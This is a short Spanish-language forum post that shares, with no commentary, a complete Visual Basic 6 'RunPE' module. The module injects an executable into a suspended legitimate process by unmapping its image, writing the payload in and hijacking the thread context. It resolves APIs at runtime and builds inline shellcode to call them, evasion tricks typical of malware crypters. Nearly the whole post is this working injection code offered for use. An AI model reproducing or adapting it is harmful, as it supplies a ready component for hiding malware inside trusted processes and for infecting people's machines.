Hola!

Dejo este RunPE

[spoiler][code2=vbnet]Option Explicit

Private Const SIZE_DOS_HEADER As Long = &H40
Private Const SIZE_NT_HEADERS As Long = &HF8
Private Const SIZE_EXPORT_DIRECTORY As Long = &H28
Private Const SIZE_IMAGE_SECTION_HEADER As Long = &H28

Private Const CONTEXT_FULL As Long = &H10007
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_EXPORT_DIRECTORY
Characteristics As Long
TimeDateStamp As Long
MajorVersion As Integer
MinorVersion As Integer
lpName As Long
Base As Long
NumberOfFunctions As Long
NumberOfNames As Long
lpAddressOfFunctions As Long
lpAddressOfNames As Long
lpAddressOfNameOrdinals As Long
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type

Private Type sAPICall
ptsLIB As Long
ptsProc As Long
lReserved As Long
lPointer As Long
lpBuffer(3) As Long
End Type

Private Declare Function PutMem Lib "C:\WINDOWS\SYSTEM32\NTDLL" Alias "ZwWriteVirtualMemory" (ByVal ProcessHandle As Long, BaseAddress As Any, pBuffer As Any, NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function GetAddr Lib "C:\WINDOWS\SYSTEM32\MSVBVM60" Alias "DllFunctionCall" (ByRef typeAPI As sAPICall) As Long
Private cnt As Long
Private ocnt As Long
Private fShellcode(&HFF) As Byte
Private Writen As Long

Public Function RunProc() As Long
End Function

Public Sub RunPE(ByRef ExeBuffer() As Byte, ByRef InjectPath As String)
Dim i As Long
Dim tIMAGE_DOS_HEADER As IMAGE_DOS_HEADER
Dim tIMAGE_NT_HEADERS As IMAGE_NT_HEADERS
Dim tIMAGE_SECTION_HEADER As IMAGE_SECTION_HEADER
Dim tSTARTUPINFO As STARTUPINFO
Dim tPROCESS_INFORMATION As PROCESS_INFORMATION
Dim tCONTEXT As CONTEXT
Dim sAddress As Long
PutMem -1, tIMAGE_DOS_HEADER, ExeBuffer(0), SIZE_DOS_HEADER, Writen
PutMem -1, tIMAGE_NT_HEADERS, ExeBuffer(tIMAGE_DOS_HEADER.e_lfanew), SIZE_NT_HEADERS, Writen
With tIMAGE_NT_HEADERS.OptionalHeader
tSTARTUPINFO.cb = Len(tSTARTUPINFO)
sAddress = GetAddress("kernel32.dll", "CreateProcessW")
CallAPI sAddress, 0, StrPtr(InjectPath), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO), VarPtr(tPROCESS_INFORMATION)
sAddress = GetAddress("ntdll.dll", "NtUnmapViewOfSection")
CallAPI sAddress, tPROCESS_INFORMATION.hProcess, .ImageBase
sAddress = GetAddress("kernel32.dll", "VirtualAllocEx")
CallAPI sAddress, tPROCESS_INFORMATION.hProcess, .ImageBase, .SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
sAddress = GetAddress("ntdll.dll", "NtWriteVirtualMemory")
CallAPI sAddress, tPROCESS_INFORMATION.hProcess, .ImageBase, VarPtr(ExeBuffer(0)), .SizeOfHeaders, 0
For i = 0 To tIMAGE_NT_HEADERS.FileHeader.NumberOfSections - 1
PutMem -1, tIMAGE_SECTION_HEADER, ExeBuffer(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i), Len(tIMAGE_SECTION_HEADER), Writen
CallAPI sAddress, tPROCESS_INFORMATION.hProcess, .ImageBase + tIMAGE_SECTION_HEADER.VirtualAddress, VarPtr(ExeBuffer(tIMAGE_SECTION_HEADER.PointerToRawData)), tIMAGE_SECTION_HEADER.SizeOfRawData, 0
Next i
tCONTEXT.ContextFlags = CONTEXT_FULL
sAddress = GetAddress("ntdll.dll", "NtGetContextThread")
CallAPI sAddress, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
sAddress = GetAddress("ntdll.dll", "NtWriteVirtualMemory")
CallAPI sAddress, tPROCESS_INFORMATION.hProcess, tCONTEXT.Ebx + 8, VarPtr(.ImageBase), 4, 0
tCONTEXT.Eax = .ImageBase + .AddressOfEntryPoint
sAddress = GetAddress("ntdll.dll", "NtSetContextThread")
CallAPI sAddress, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
sAddress = GetAddress("ntdll.dll", "NtResumeThread")
CallAPI sAddress, tPROCESS_INFORMATION.hThread, 0
End With
End Sub

Public Function CallAPI(ByVal sAddress As Long, ParamArray Params() As Variant) As Long
Dim lPtr As Long
Dim i As Long
Dim sData As String
Dim sParams As String
If sAddress = 0 Then Exit Function
For i = UBound(Params) To 0 Step -1
sParams = sParams & "68" & GetLong(CLng(Params(i)))
Next
lPtr = VarPtr(fShellcode(0))
lPtr = lPtr + (UBound(Params) + 2) * 5
lPtr = sAddress - lPtr - 5
sData = "8B4C240851" & sParams & "E8" & GetLong(lPtr) & "5989016631C0C3"
For i = 0 To Len(sData) - 1 Step 2
fShellcode((i / 2)) = CByte("&h" & Mid$(sData, i + 1, 2))
Next i
PutMem -1, cnt, ByVal ObjPtr(Me), &H4, Writen
cnt = cnt + &H1C
PutMem -1, ocnt, ByVal cnt, &H4, Writen
PutMem -1, ByVal cnt, VarPtr(fShellcode(0)), &H4, Writen
CallAPI = RunProc
PutMem -1, ByVal cnt, ocnt, &H4, Writen
End Function

Private Function GetLong(ByVal slng As Long) As String
Dim sTemp(3) As Byte
Dim i As Long
PutMem -1, sTemp(0), slng, &H4, Writen
For i = 0 To 3
GetLong = GetLong & Right("0" & Hex(sTemp(i)), 2)
Next
End Function

Private Function GetAddress(ByVal sLib As String, ByVal sProc As String) As Long
Dim sAPI As sAPICall
Dim bvLib() As Byte
Dim bvMod() As Byte
bvLib = StrConv(sLib + vbNullChar, vbFromUnicode)
bvMod = StrConv(sProc + vbNullChar, vbFromUnicode)
With sAPI
.ptsLIB = VarPtr(bvLib(0))
.ptsProc = VarPtr(bvMod(0))
.lReserved = &H40000
.lPointer = VarPtr(.lpBuffer(0))
End With
GetAddress = GetAddr(sAPI)
End Function[/code2][/spoiler]


Saludos!
Responder

Volver a “Fuentes”